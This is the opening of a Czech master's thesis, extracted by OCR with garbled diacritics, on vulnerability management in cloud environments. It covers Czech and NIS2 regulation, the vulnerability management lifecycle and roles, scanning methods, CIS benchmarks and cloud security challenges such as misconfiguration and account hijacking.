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ANOTACE

S ptfechodem organizaci ke cloudovym technologiim se objevuji nové bezpecnostni vyzvy
a hrozby, které vyzaduji revizi a adaptaci spravy zranitelnosti. Tato diplomova prace se zabyvéa
problematikou detekci a spravy zranitelnosti v cloudovém prostiedi na zakladé poznatku, ze
stavajiciho pfistupu Vv tradi¢nim datacentru. Cilem této prace je identifikovat specifika procesu
spravy zranitelnosti v cloudu, analyzovat nedostatky avyzvy spojené stimto pifechodem

a navrhnout strategie a opatieni pro zlepSeni bezpec¢nosti vV cloudovém prostiedi.
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Rizeni zranitelnosti, Amazon Web Service, Tenable, zranitelnost, cloud, bezpe&nostni sken.
TITLE
Vulnerability Management of Cloud Solution

ANNOTATION

This master thesis deals with the issue of vulnerability scanning and management in a cloud
environment based on findings from the existing approach in atraditional data center. As
organizations move to cloud technologies, new security challenges and threats emerge that
require revisions and adaptation of vulnerability management. The aim of this work is to
identify the specifics of the vulnerability management process in the cloud, analyze the
shortcomings and challenges associated with this transition, and propose a strategy and

measures to improve security in the cloud environment.
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UvoD

V dnes$ni dob¢ je cloudové prostfedi neodmyslitelnou soucasti informacnich technologii, a to
jak v korporatnim, tak i vefejném sektoru. Tato rychle se rozvijejici technologie pfinasi mnoho
vyhod, jako je flexibilita, Skalovatelnost a snadné&jsi sprava IT infrastruktury. Nicméné s tim,
jak organizace prechazeji ke cloudovym feSenim, se zvySuje ikomplexita arozsah

bezpecnostnich hrozeb.

Sprava zranitelnosti v prostiedi cloudu se stava kli¢ovym prvkem zabezpeceni pro organizace,
které¢ vyuzivaji cloudové sluzby. Zranitelnosti V této oblasti mohou mit znacny dopad na
bezpecnost dat a soukromi uzivateli, at’ uz se jedna o korporatni citlivé informace nebo osobni
udaje zakaznikd.

Cilem této diplomové prace je analyzovat soucasny stav detekce zranitelnosti a navrhnout
efektivni metody detekce s durazem na cloudové prostiedi. V diplomové préaci budou
zkouméany nejen technické aspekty detekce zranitelnosti, ale také strategie a postupy pro

efektivni spravu zranitelnosti v cloudovém prostiedi v souladu s nejnovéjs$imi bezpecnostnimi

standardy a osvéd¢enymi postupy.
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1 KYBERBEZPECNOSTNI RIZIKA

1.1 Normy a ramce pro spravu zranitelnosti

Uzivani vypocetni techniky, informacnich systému a informacnich technologii a jejich
integrace do témeét vSech odvétvi lidské cCinnosti je jevem, ktery je pro dneSni dobu
charakteristicky. Lze konstatovat, Ze vV podstaté nejde nalézt takovou oblast lidské ¢innosti, kde
by se pfimo nebo zprosttedkované nevyuzivala vypocetni technika, resp. informacéni systém

nebo informacni ¢i komunikac¢ni technologie. [17]

Rizika kybernetické bezpecnosti jsou zdkladnim typem rizik, které musi fidit vSechny
organizace. Mezi potencidlni dopady kybernetické bezpe¢nosti na organizace patii vySsi
naklady, niz8i vynosy, poSkozeni dobré povésti a naruseni inovaci. Hrozi také kyberneticka
bezpecnostni rizika soukromi jednotlivcl a pristup k zékladnim sluzbam a mize mit nasledky

na zivot nebo na smrt. [31]

Jednim z dtivodi pro implementaci kybernetické bezpec¢nosti je respektovani pravnich predpist
aprav apovinnosti z téchto piedpist vzplyvajicich. Tento legislativni diivod pro mnoho
subjektl vyplyva ze zdkona 0 kybernetické bezpecnosti, je vsak mylné se domnivat, ze se jedna

0 jedinou pravni normu, ktera souvisi s problematikou kybernetické bezpeénosti. [16]

Nérodni tfad pro kybernetickou a informaéni bezpe¢nost (NUKIB) je ustfednim spravnim
organem pro kybernetickou bezpecnost vcetné ochrany utajovanych informaci v oblasti
informacnich a komunikaénich systémi a kryptografické ochrany. Déale ma na starosti
problematiku vetejné regulované sluzby v ramci druzicového systému Galileo. Vznikl 1. srpna
2017 na zéklad¢ zakona c¢islo 205/2017 Sb., kterym se zménil zédkon ¢. 181/2014 Sb.,
0 kybernetické bezpeCnosti a0 zméné souvisejicich zakonu (zadkon 0 kybernetické

bezpecnosti). [22]

V ptipadé kritické informacni infrastruktury, vyznamnych informacnich systémi

a informac¢nich systémi zakladni sluzby se jedna o tyto zakladni povinnosti:

e nahlasit Utadu kontaktni udaje podle § 16 zakona 0 kybernetické bezpe&nosti,

e na systém spadajici pod zakon aplikovat bezpeénostni opatieni podle § 4 odst. 1 zakona
0 kybernetické bezpecnosti aveést 0nich bezpecnostni dokumentaci Vv souladu
s vyhlaskou ¢. 82/2018 Sb., 0 kybernetické bezpecnosti,

e hlasit Utadu kybernetické bezpe¢nosti incidenty Vv informaénim systému podle §

8 z&kona o kybernetické bezpec€nosti,
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provadét opatieni podle § 11 zakona 0 kybernetické bezpeénosti, jsou-li vydana.

Vedle zékladnich povinnosti obsahuje zadkon o kybernetické bezpe¢nosti jesté dalsi povinnosti,

které jsou stanoveny pro specificke situace. [10]

1.2 Nové pozadavky na kybernetickou bezpecnosti podle NI1S2

NIS2 pfindsi fadu podstatnych zmén stavajiciho regulatorniho ramce, které se dotykaji jak
strategické irovné (jde zejména 0 povinnosti dopadajici na NUKIB a Evropskou agenturu pro
bezpecnost siti a informaci (ENISA)), tak regulace povinnych osob (tj. prav a povinnosti

konkrétnich subjekttl, spole¢nosti a statnich organizaci v Ceské republice).

Mezi nejvyznamnéjsi povinnosti z hlediska fungovani NUKIB a Ceské republiky v oblasti

zajiStovani kybernetické bezpecnosti vV Evropské unii patfi:

Podle ¢l. 7 povinné piijeti narodni strategie kybernetické bezpecnosti a kybernetickych
bezpecnostnich politik pro vybrané oblasti (napt. bezpecnost dodavatelského fetézce,
koordinované zvefejiiovani informaci 0 zranitelnostech, zvlaStni potfeby malych
a stiednich podnikti);

Kazdy cClensky stat pfijme narodni strategii kybernetické bezpecnosti, ktera stanovuje
strategické cile, zdroje potiebné k dosazeni téchto cili a pfislusné politiky a regulacni
opatfeni S cilem dosdhnout vysoké urovné kybernetické bezpecnosti a udrzovat ji.
Podle ¢l. 12 koordinované zvetejiiovani informaci 0 zranitelnostech a ztizeni Evropské
databaze zranitelnosti;

Kazdy €lensky stat ur¢i jeden ze svych tym CSIRT (CERT) jakozto koordinatora za
ucelem koordinovaného zvefejiiovani zranitelnosti. Tento koordindtor usnadiiuje
interakci mezi fyzickou nebo pravnickou osobou oznamujici zranitelnost a vyrobcem
nebo poskytovatelem piipadnych zranitelnych ICT produktl nebo sluzeb. Agentura
ENISA po konzultaci se skupinou pro spolupraci vytvoii a spravuje Evropskou databazi
zranitelnosti.

Podle ¢l. 13 hlubsi spoluprace S vnitrostatnimi ufady a organizacemi a koordinace
dozorovych ¢innosti U organizaci, kterym plyne povinnost zajiStovat kybernetickou
bezpecnost z vice pravnich pfedpisi (napf. Vv odvétvich energetiky, letectvi nebo
ochrany osobnich udajit).

Podle ¢l. 14, 15 a 16 hlubsi spoluprace s ¢lenskymi staty v oblastech kybernetického
krizového Fizeni, feSeni rozsahlych kybernetickych bezpecnostnich incidentt a sdileni

strategickych informaci a dobré praxe.
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e Podle ¢l. 37 hlubsi spoluprace s dozorovymi organy ostatnich clenskych statt na
provadéni kontrol @ vymahani dodrzovani ulozenych povinnosti;

e Cilem ustanoveni nazvaného jako tzv. vzajemna pomoc je nastavit pravidla kontroly
takovym zpusobem, aby po obdrzeni odiivodnéné zadosti poskytnul tfad vykonavajici
kontroly kybernetické bezpecnosti V jednom ¢lenském staté pomoc druhému tradu
Z jiného Clenského statu, aby bylo mozné Gcinnég, ucelné a dasledné provést kontrolu,
respektive opatieni v oblasti dohledu nebo vymahani.

e Vsouladu s¢l. 21 a23 veétsi zapojeni Evropské komise do sjednoceni regulace
Vv ¢lenskych statech (napt. formou jednotnych metodik pro zavadéni bezpe¢nostnich
opatfeni nebo jednotnych formulait pro hlaseni incidentd);

e Komise mize ptijmout provadéci akty, kterymi stanovi technické, metodické a piipadné
odvétvoveé specifické pozadavky, pokud jde 0 opatfeni Kftizeni kybernetickych
bezpe¢nostnich rizik nebo upfestujici druh informaci, format a postup oznameni

Vv ptipadé vyskytu kybernetického bezpe¢nostniho incidentu. [24]

Vyse zminéna revize regulatorniho ramce ovliviiuje nejen strategickou troven, S povinnostmi
pro NUKIB a Evropskou agenturu pro bezpeénost siti a informaci (ENISA), ale také regulaci
povinnych osob v Ceské republice. Zasadni povinnosti zahrnuji pfijeti narodni strategie
kybernetické bezpecnosti, koordinované zvefejiiovani informaci 0 zranitelnostech, a hlubsi
spolupréci s vnitrostatnimi ufady. Vzhledem Kk zvySujicimu se poétu povinnych osob a novym
pravidlim pro vybavenost, ziskava sprava zranitelnosti na vyznamu jako jeden z velmi

dilezitych prvkl celkové kybernetické bezpecnosti.
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2 SPRAVA ZRANITELNOSTI
2.1 Kybernetické bezpecnost

Spolecnosti nadale tézce plati za to, ze Celi hackerskym utoklim a reaguji na rychle se Sifici
viry, Cervy a trojské kon¢. Dopad na organizaci mize byt znacny, od ztraty produktivity az po
povést. Hacketi vyuzivaji zndmé zranitelnosti. Hybridni malcode nejenze vyuziva zékladni
sluzby k dorucovani, ale také vyuziva znamé zranitelnosti. Efektivni program pro spravu
zranitelnosti nejen ochrani pfed hackery, ale také zajisti minimalni dopad hybridniho

Skodlivého kodu, ktery vyuziva znamé zranitelnosti. [8]

Dalsim faktorem, ktery podporuje rostouci vyznam kybernetické bezpecnosti, je zavedeni
novych pfedpisi a nafizeni, kterd organizacim klade povinnost chranit data svych klient
a zakazniki. GDPR, HIPAA a podobna nafizeni na celém svété stanovuji vysoké standardy
ochrany osobnich dajli, coz znamena, ze organizace musi provést dikladnou analyzu rizik

a implementovat opatieni ke snizeni téchto rizik na minimum.

Rostouci povédomi o Kybernetickych hrozbach a Gtocich zvysuje o¢ekavani klientt a uzivateld,
kteti ocekavaji, ze jejich data budou v cloudu spravné chranéna. Jakykoli incident zabezpeceni

by mohl mit zdvazné nasledky pro povést firmy a divéru klientd.

Vzhledem k témto faktorim se kyberneticka bezpecnost stava dualezitou ¢asti pro Gspésné
vyuzivani cloudovych technologii a sluzeb. Bezpec¢nostni tymy musi neustdle inovovat
a aktualizovat své postupy a nastroje, aby byly schopny odolavat novym a sofistikovanym

hrozbam.

2.2 Definice spravy zranitelnosti

Spréava zranitelnosti (vulnerability management) ptedstavuje proaktivni identifikaci, hodnoceni
afteSeni zranitelnosti pocitacovych systémd, siti a softwarovych aplikaci. Zahrnuje
systematicky piistup k odhalovani a odstraniovani slabych mist diive, nez je nékdo muze
zneuzit. V kontextu informacnich technologii se zranitelnosti tykaji mezer v softwaru, které
mohou hackefi vyuzit k tomu, aby donutili aplikaci délat néco, k ¢emu nebyla vyvinuta.
Vzhledem k tomu, Ze moderni organizace se pii udrzovani produktivity a zpracovani cennych
dat do znacné miry spoléhaji na IT infrastrukturu, mohou zneuzité zranitelnosti vazné ovlivnit

kontinuitu jejich ¢innosti. [9]
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Efektivni fizeni zranitelnosti se stalo dulezitou prioritou pro organizace. Vénovat pozornost
a spravné reagovat na zranitelnosti je dilezité nejen z hlediska zabezpeceni dat a sluzeb, ale

take z perspektivy regulaci a standardd, které organizace musi spliovat.

Neschopnost identifikovat a fidit zranitelnosti mize vést ke ztrat¢ diavéry klientl, finanénim
ztratam a poruseni zakonnych pozadavki. Rizeni zranitelnosti zahrnuje pravidelné skenovani,
analyzu systému a aplikaci, aby se identifikovaly potencialni zranitelnosti. Tato analyza musi

byt nasledovana vhodnymi kroky pro odstranéni nebo minimalizaci rizik.

Zranitelnost (Vulnerability) je slabé misto, chyba, nebo mezera v technologii, v bezpe¢nostnim
prostiedi, v bezpe€nostnich opatieni nebo néjakého aktiva. Jde o zneuzitelnou slabinu systému

nebo aktiva a vynutit si ziskani neopravnéného ptistupu.

Zranitelnosti mohou zahrnovat chyby v kodu, nedostateéna opravnéni, nespravnou konfiguraci,
neaktualni softwarové verze nebo jiné nedostatky, které umoznuji utoc¢nikovi ziskat

neopravnény pristup nebo provést nezadouci operace. [6]

Praci odborniki v informaéni bezpeénosti je zhodnoceni risku vici kritickym aktivam a nasadit

protiopatieni. [11]

2.3 Proces spravy zranitelnosti

Sprava zranitelnosti je proces identifikace zranitelnosti v informa¢nich technologiich
a vyhodnoceni spojenych rizik. Toto hodnoceni vede k opravé zranitelnych mist a odstranéni
rizika nebo formalni pfijeti rizika ze strany spolecnosti vedeni organizace (napf. Vv piipadé, Ze
by byl dopad utoku nizky nebo naklady na napravu nepfevazi mozné Skody zpisobené

organizaci).

Pojem sprava zranitelnosti je Casto zaméiovan se skenovanim zranitelnosti. Navzdory

skutecnosti, Ze oba spolu souvisi, je mezi nimi dilezity rozdil:

e Skenovani zranitelnosti spociva V pouziti pocitaCového programu K identifikaci
zranitelnosti siti, pocitacové infrastruktury nebo aplikaci.
e Sprava zranitelnosti je proces skenovani zranitelnosti, ato i s ptihlédnutim k dalSim

aspektiim jako napf pfijeti rizika, naprava atd. [26]
Vyznam patch managementu v kontextu Fizeni zranitelnosti

Benjamin Franklin kdysi fekl, ze ,,cena prevence predstavuje cenu 1é¢by.“ Sprava oprav

a zranitelnosti je ,,prevence® ve srovnani S ,,1écbou’, kterou predstavuje reakce na incident.
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Rozhodnuti, kdy a jak provést mitigaci prostfednictvim oprav nebo jinych metod remediaci, by
mélo vychdzet ze srovnani Casu, zdrojii a financnich prostfedki, které budou vynalozeny.
Naptiklad, pfedpokladejme, Ze je uvolnén novy pocitacovy Cerv, ktery se mize rychle Sifit
a poskozovat jakoukoli pracovni stanici vV organizaci, pokud neni zastaven. Potencialni naklady

na neprovadéni mitigace jsou popsany nasledujicim vzorcem:

e Naklady na neprovadéni mitigace =W * T * R, kde (W) je pocet pracovnich stanic, (T)
je Cas straveny opravou systému nebo ztratou produktivity a (R) je hodinova sazba casu

straveného.

Pro organizaci, kde je potfeba opravit 1000 pocitact, kazdy vyzadujici praimérné 8 hodin
vypadku (4 hodiny na obnovu systému jednim pracovnikem, plus 4 hodiny, kdy majitel

pocitate nema k dispozici pocita¢ k praci) za sazbu $35/hodinu za mzdu a benefity:
e 1000 pocitaca * 8 hodin * $35/hodina = $280,000 na reakci po utoku. [20]
Software inventar (CMDB)

Nastroje pro spravu oprav ve firm¢ vyzaduji administratorsky ptistup ke kazdému zapojenému
pocitaci a musi inventarizovat softwarové baliky na kazdém pocitaci, aby urcily, které opravy
jsou pottebné. Proto je pfirozené, Ze takové programy poskytuji tuto informaci administratortim
a zaCleni schopnost spravy inventare softwaru do produktu. Stale vice produktl poskytuje tuto
schopnost a zda se, Ze to je piirozeny smér, kterym se trh ubira. Takové inventariza¢ni produkty
1ze zakoupit samostatn¢, ale Casto vyzaduji instalaci samostatného agenta na kazdy pocitac.
ProtoZe je nakladné z hlediska spravy IT nainstalovat a spravovat na kazdém pocitaci vice
agentd, bylo by idedlni, kdyby obé& funkce (opravy a inventarizace) mohly byt provadény
stejnym produktem. [20]

Softwarovy inventat slouzi jako z&kladni zdroj informaci pro proces spravy zranitelnosti jako:

e identifikace vlastnik IT aktiv,
e potiebny rozsah pro skeny zranitelnosti,

e prioritizaci oprav.

2.4 Zivotni cyklus procesu spravy zranitelnosti

Rizeni zranitelnosti je preventivni pfistup K fizeni bezpe€nosti, protoze zahrnuje kontinualni
monitorovani stavu systému za UcCelem identifikace zranitelnosti. Pravidelné posuzovani

zranitelnosti je dualezit¢ pro kontrolu bezpecnostniho systému jakéhokoli systému. Nize
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uvedeny cyklus na obrazku ¢. 1lze pouzit V libovolném systému. Aby bylo mozné jej
implementovat, je nejprve tfeba identifikovat zranitelnosti, aby mohlo byt provedeno planovani

pro jejich feseni. [12]

Planovani

Aktualizace
Databaze Monitorovani

zranitelnosti

-

Obrazek 1 — Zivomi cyklus spravy zranitelnosti

Zdroj: [12]

Planovani znadmych zranitelnosti

Pred zahajenim jakéhokoli fizeni je zapotiebi planovani. Existuje velké mnozstvi zdroji
a procest, které¢ mohou byt zranitelné utoky. Kdyz je jakakoliv ¢ast postiZzena Gitokem, je nutné
jitesit. Pro aktivni ptistup vSak neni mozné monitorovat vSechny tyto oblasti. Aby bylo mozné
identifikovat zranitelnosti, musi byt nejprve identifikovany zdroje nebo procesy, které jsou
dulezité a jsou nachylné k zranitelnostem. Pro kazdy identifikovany zdroj je tieba uvést typy
potenciélnich hrozeb. To povede k planu monitorovani, zda se hrozby stanou skute¢nosti.
Znamé typy zranitelnosti Ize uvést spolu s jejich symptomy, zatimco pro neznamé typy lze

ziskat nékteré metody pouze z organiza¢nich dat a zkuSenosti. [12]
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Monitorovani zranitelnosti

Pravidelné monitorovani aktivit systému identifikovanych v prvnim kroku je tieba provadét
neustale. To Ize provést pomoci pravidelného skenovani sité, protokolovani firewallu, testovani

pruniku. Existuje také nastroj nazyvany skener zranitelnosti, ktery 1ze k tomuto Gcelu pouzit.

[12]
Analyza k identifikaci zranitelnosti

Tento krok zahrnuje analyzu vysledkt uvedenych béhem monitorovani zranitelnosti. Pokud se
projevi symptomy né¢jaké hrozby, kterd se stdva skutecnosti, méla by byt pouzita mitigace této

zranitelnosti k minimalizaci nasledku, pokud dojde k Gtoku. [12]
Zmirnovani zranitelnosti

Proces zjistovani, jak pfedchéazet zranitelnostem. Opravy lze aplikovat V postizené oblasti.
Vyrobcei postizeného softwaru nebo hardwaru mohou poskytnout opravu co nejdiive, aby se

minimalizovaly nepfiznivé ucinky utoku zranitelnosti.

Napriklad kazdy podnik celi riziku pteruseni provozu. Pokud firma vyrabi cenné zbozi, jako
jsou televizory nebo elektronika, a nachazi se v oblasti s vysokou kriminalitou, existuje vysoké
riziko vloupani. Pokud se vedeni rozhodne nezamykat dvefe a nepfijmout Zadna dalsi

bezpecnostni opatieni, akceptuje timto zptisobem riziko vloupani. [25]
Aktualizace seznamu znamych zranitelnosti

V ptipadé nalezeni novych zranitelnosti by mély byt informace aktualizovany, aby bylo mozné
je zahrnout do planovani pro monitorovani v budoucnosti. V této fazi dochazi k odstranéni
identifikovanych zranitelnosti. V zavislosti na povaze konkrétni zranitelnosti 1ze pouzit rizné
metody K prevenci jejiho zneuziti, ale vétSina zranitelnosti je opravena prostfednictvim
aktualizaci. DlleZitou soucasti celého cyklu spravy zranitelnosti je proces akceptace rizik, ktery

urcuje miru rizika, kterou je vedeni ochotno akceptovat. [12]

2.5 Role v procesu spravy zranitelnosti

Pti zavadéni procesu fizeni vulnerabilit v organizaci je dulezité identifikovat nasledujici role.

Information Security Officer: je odpovédny za dohled nad informaéni bezpeénosti,
kybernetickou bezpe€nosti a programy fizeni IT rizik zaloZenych na rdmcich pro bezpecnost

informaci a fizeni rizik akceptovanych v dané organizaci. [14]
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InZenyr zranitelnosti: Role inzenyra zranitelnosti je zodpovédna za konfiguraci skeneru

zranitelnosti a planovani riznych skent zranitelnosti. [26]

Vlastnik aktiva: Vlastnik aktiva je zodpovédny za IT aktivum, které je skenovano procesem
spravy zranitelnosti. Tato role by méla rozhodnout, zda jsou identifikované zranitelnosti

zmirnény nebo zda jsou piijaty s nimi spojena rizika. [26]

InZenyr IT systémii: Role inzenyra IT systémt je obvykle zodpoveédna za implementaci kroka

K odstranéni zjisténych zranitelnosti. [26]

2.6 Detekce zranitelnosti v konvenénim IT prostiedi

Skenovani sitovych hostiteli a detekce sluzeb jsou jadrem kazdého tsili 0 prizkum sité. Byt
schopen ur¢it stav strojli V siti je zfejmym pozadavkem pro priibéZznou udrzbu sité. Hodnoceni,
klicové pro bezpecnost sité. [19]

Identifikace aktivnich zarizeni

Skenovani sitovych hostii (nebo jednoduse skenovéani hostll) je proces urcovani, zda je IP
adresa registrovdna na aktivnim hostiteli. Hostitel bude povaZovan za aktivni, pokud
implementuje jakoukoli sitovou sluzbu, ktera reaguje pti spravném vstupu, i kdyz se jedna
pouze o funkéni IP, TCP nebo UDP stack. Neaktivni hostitel nemtZze byt donucen k odpovédi,
coZ ho efektivné €ini neexistujicim V kontextu sité. Techniky skenovani hostitelii zahrnuji
odesilani sond, které jsou zndmy tim, Ze Casto zplsobuji odpovédi hostiteld, napiiklad ICMP
echo request (jak je odesilan pomoci rozsiteného programu ping) nebo ARP dotaz v lokalni siti.
Pokud hostitel reaguje jakymkoli zptisobem na jakoukoli sondou, kterou obdrzi, mize byt
oznacen jako aktivni. Pokud vSak takové techniky neziskaji odpovéd’, neznamena to nutné, ze

hostitel je neaktivni. [26]
Skenovani zranitelnosti

Po identifikaci aktivnich zafizeni se provadi skenovédni zranitelnosti. Zde se vyuZzivaji
specializované nastroje znamé jako "vulnerability scanner," které prohledavaji systémy

a aplikace v siti a identifikuji zranitelnosti na zaklad¢ databazi zranitelnosti.

Tato metoda zahrnuje systematické skenovani sité a aktivnich zatfizeni Vv ni, v€etné servert,
routerti, switchd, firewald a dalSich sitovych komponent. Skenovéani sit€é umoziuje

identifikovat oteviené porty, sluzby a potencialni zranitelné body v siti. [26]
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Automatizovany sken konfigurace

Pouziti automatizovanych nastroju pro skenovani konfigurace, které analyzuji a porovnavaji
nastaveni systému a aplikaci s preddefinovanymi bezpe¢nostnimi standardy a pravidly. Tato
metoda umoziuje rychlou identifikaci odchylek od bezpecnostnich norem na zakladé

doporucenych benchmarkd.

Centrum pro internetovou bezpe¢nost (Center for Internet Security) je neziskova organizace,
jejiz mise je ,,identifikovat, vyvijet, ovétovat, propagovat a udrzovat nejlepsi postupy feseni pro
kybernetickou obranu.* Cerpa ze znalosti odbornikii na kybernetickou bezpeénost a informaéni
technologie z vladnich instituci, firem aakademické sféry z celého svéta. Pro vytvareni
standardii a nejlepSich postupti, vcéetné benchmarkt CIS, kontrol a zabezpecenych obrazi,
pouziva model konsenzudlniho rozhodovéani. Benchmarky CIS jsou konfigura¢ni zakladny
a nejlepsi postupy pro bezpecné nastaveni systému. Kazdéa z doporuceni obsahuje odkazy na
jednu nebo vice kontrol CIS, které byly vyvinuty k tomu, aby organizacim pomohly zlepsit své
schopnosti v kybernetické obrané. Kontroly CIS odpovidaji mnoha zavedenym standardiim
a regula¢nim ramci, véetné NIST ramce kybernetické bezpecnosti (CSF) a NIST SP 800-53,
sérii standardti ISO 27000, PCI DSS, HIPAA a dalsich. [21]
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3 CLOUDOVE PROSTREDIi A BEZPECNOSTNI VYZVY

Cloud computing je model umoznujici vSudyptitomny, pohodIny sitovy pfistup na vyzadani ke
sdilenému mnozstvi konfigurovatelnych vypocetnich zdrojii (napft. sité, servery, loziste,
aplikace a sluzby), které 1ze rychle zajistit a uvolnit s minimalnim Usilim spravy nebo interakce

s poskytovatelem sluzeb. [18]

Prostiedi cloudu nabizi mnoho vyhod v podobé skalovatelnosti, flexibility a snadného ptistupu
hrozby se mohou liSit od téch, které jsou typické pro tradi¢ni on—premise infrastruktury.
Ptechod ke cloudovym sluzbdm mutze znamenat vstup do nezndmého teritoria, coz mize mit

vyznamn¢ dusledky pro kybernetickou bezpec¢nost.
Nedostate¢na odbornost v oblasti bezpe¢nosti v cloudu

Cloud je odlisné prostiedi od on—premise a tymy pro kybernetickou bezpecnost, které "kopiruji
a vkladaji" bezpecnostni kontroly do cloudu, brzy zjisti, ze tento pfistup nefunguje. Cloud se
hodi k automatizaci a rychlosti, a proto se stava dulezitym pozadavkem nastroje pro bezpec¢nost
Vv cloudu. Tyto nastroje vyzaduji zdokonaleni souc¢asnych tymil pro kybernetickou bezpecnost;
jinak se CISOové brzy ocitnou v prostiedi, které jejich tymy nejsou schopny branit! Je zasadni
implementovat néastroje optimalizované pro cloudova prostredi a investovat do spravného

Skoleni tymu pro bezpecnost v cloudu. [30]
Nespravne konfigurace

Nespravné konfigurace jsou hlavnim divodem vétSiny bezpe¢nostnich poruseni v cloudu,
protoZze cloudovi administratofi nechténé vystavuji rozhrani a infrastrukturu cloudu ptes
internet. To je snadno zachyceno uto¢niky a vyuZzivano jako vstupni bod do cloudového
prostiedi. Nespravnou konfiguraci mtize provést i interni hrozba s umyslnym zamérem a nebyt
detekovana kvuli nedostatku nastroji pro bezpeénost v cloudu. Interni hrozba je realnym
rizikem bez ohledu na to, v jakém prostiedi se vyskytuje, a zneuziti opravnéného piistupu mutize

byt velmi obtizné detekovat bez vhodnych nastroji. [30]
Nedostatek viditelnosti

Multi-cloud je dnes realitou, protoze vétSina firem nechce zit S rizikem vyluéného vybéru
dodavatele. VétSina firem, které prechazeji do cloudu, méa hybridni prostiedi se zatéZemi
rozdélenymi mezi on—premise a dva nebo vice poskytovatele cloudovych sluzeb. | kdyz to

poskytuje flexibilitu a moznosti, stava se to také no¢ni murou pro CISA, pokud jde o kontrolu
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a zabezpeceni kvili jejich roztfisténé povaze. Kazdé cloudové prostiedi se 1isi v tom, jak
funguje, a je dalezité mit nasazené feSeni pro bezpecnost v cloudu, které dokaze poskytnout

centralizovany pohled na rizikovou pozici kazdého prostiedi. [30]
Unos tétu

Cloudové identity jsou hlavnim cilem uto¢niku, protoze tradi¢ni sitova hranice jiz v cloudu
neexistuje. Cloudové kontrolni roviny jsou "kli¢i ke kralovstvi" vétSiny cloudovych prostiedi
a uto¢nici mohou cilit na cloudové administratory prostiednictvim phishingovych utokd,
malwaru atd., aby ziskali ptistup ke svym piihlasovacim udajim. To je obzvlasté snadné, pokud
neni nastavena vice faktorova autentizace (MFA) nebo je heslo samo 0 sobé slabé a nachylné
k atokiim hrubou silou. | kdyz je MFA povoleno, uto¢nici mohou stadle kompromitovat

cloudovou kontrolni rovinu, pokud byl pocita¢ administratora napaden. [30]

Tento Gtok neni omezen pouze na uZivatelské identity, ale také na sluzby a aplikace. UZivatelé
mohou neumysIné ud¢lit piistup Kk SaaS aplikacim ve svych cloudovych prostiedich, které
mohou byt Skodlivé aumoznit utocnikiim obejit bezpecnostni kontroly a ziskat piistup
k vaSemu cloudovému prostiedi. Je zasadni dodrzovat model zero—trust a ovétovat kazdy
pozadavek. SaaS aplikace by mély byt prozkoumany kvili nadmérnym opravnénim, ktera

umoziuji davéryhodny piistup k datim v cloudu. [30]
Zranitelnosti v cloudu

Cloudové zéatéze mohou byt zranitelné stejné jako jakékoli softwarové nedostatky, pokud
nejsou v ramcei pipeline nastaveny kontroly. Chybé&jici opravy, nezabezpecené programovani,
slabé komunikac¢ni protokoly, nadmérnd opravnéni atd. jsou vSechny nedostatky, které mohou
utoénici zneuzit a pouzit K ziskani postaveni ve cloudovém prostiedi. Mechanismy ochrany
cloudovych zatézi pomahaji posuzovat bezpecnostni postaveni zatézi po celou dobu jejich

zivotniho cyklu @ mohou zmirnit rizika vznikajici v realném case. [30]

3.1 Vyvoj cloudovych technologii a sluzeb

Podniky stéle vice nahliZeji na inovace jako svou nejvyssi prioritu. Uvédomuji si, ze potfebuji
hledat nové napady a odemykat nové zdroje hodnoty. Pohanéni tlakem na snizovani naklada
a rust. Soucasné si ale uvédomuji, Ze neni mozné uspét pouhym délanim stejnych véci lepsimi.
Védi, ze musi délat nové véci, které piinaseji lepsi vysledky. Cloudové technologie umoznuje

inovace. Zmirfiuje potiebu inovatori najit zdroje vyvijet, testovat a zptistupiiovat své inovace
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komunit¢ uzivatelll. Inovatofi maji svobodu zaméfit se na inovace spiSe nez na logistiku hledani

a fizeni zdroju. [8]

Cloudové technologie zvysuji ziskovost tim, Ze zlepSuje vyuziti zdroji. SdruZzovani zdroji do
cloudu snizuji naklady a zvySuji vyuziti tim, ze poskytuji zdroje pouze po tak dlouhou dobu,
jak jsou ty zdroje potfeba. Cloud umoziuje jednotliveim, tymtm a organizacim zefektivnit
procesy zadavani zakazek a eliminovat potfebu duplikovat uréity pocita¢ administrativni

dovednosti souvisejici s nastavenim, konfiguraci a podporou. [8]

Nicméné s timto vyvojem pfisly i nové vyzvy tykajici se kybernetické bezpecnosti. ZvySena
komplexnost cloudovych infrastruktur a sdileni zdroji mezi riznymi klienty mize zvysit riziko
vzniku zranitelnosti autoku. S naristajicim mnozstvim dat pienaSenych pies internet
aukladanych do cloudu se =zaroven zvySuje ipotieba zabezpeCeni téchto dat pred

neopravnénym pristupem a unikem.

3.2 Cloudové a on—premise infrastruktura

V klasickém datacentru organizace vlastni a provozuji svij vlastni hardware ,,On premise*, coz
zahrnuje servery, ulozisté, sitové prvky a dalsi infrastrukturu. Cloudové sluzby poskytuji
infrastrukturu jako sluzbu (déle jen laaS), platformu jako sluzbu (dale jen PaaS) nebo software
jako sluzbu (dale jen SaaS). Diky tomu poskytovatelé nemuseji vlastnit hardware a datova

centra. Zakladni rozdil je zobrazen v tabulce ¢. 1.

Tabulka 1 — Model sdilené infrastruktury v cloudu

Srovnani kontrolnich nastroji cloudovych sluzeb a tradi¢niho datacentra

Datacentrum laaS PaaS SaaS

Aplikace

Data

Behové prostredi
Middleware
Operatni systém

Virtualizagni vrstva
Server

Spravuje poskytovatel

Zdroj: [15]



Z pohledu skalovatelnosti tedy odpada nutnost planovat a investovat do fyzické infrastruktury
s ohledem na budouci potieby. Organizace navic mohou snadno zvySovat nebo sniZovat

vypocetni vykon a kapacitu ulozisté podle potieby.

Cloudové sluzby v porovnani s klasickou infrastrukturou nabizeji jistou cenovou flexibilitu,
protoze organizace plati pouze za aktualné pouzivané zdroje, zatimco v klasickém datacentru
je cena pevna, bez ohledu na aktualni vyuziti. Pokud se cloudové sluzby nevyuZivaji efektivné,
muze se jejich pouzivani vyrazné prodrazit.

Z pohledu zajisténi bezpecnosti v cloudu se jednd o spoleény tkol mezi uzivatelem
a poskytovatelem v zavislosti na typu vyuzivané sluzby. Cloudovi poskytovatelé nabizeji svoje
vlastni tzv. nativni nastroje a sluzby, které slouZi k zajisténi bezpetné spravy dat, aplikaci

a konfigurace.

Model sdilené infrastruktury od Amazon Web Services:

Tabulka 2 — AWS the Shared Responsibility Model

UZIVATELSKA DATA

PLATFORMY, APLIKACE, SPRAVA PRISTUPU A PRAV

Uzivatel

ZOdPOV_ét‘{“"St OPERACNI SYSTEM, SITOVE NASTAVEN]
uvnitr

cloudového Sitovy

B PROVOZ,
INTEGRITA DAT OCHRANA
AUTENTIKACE SIFROVANI NA STRANE SIFROVANI,
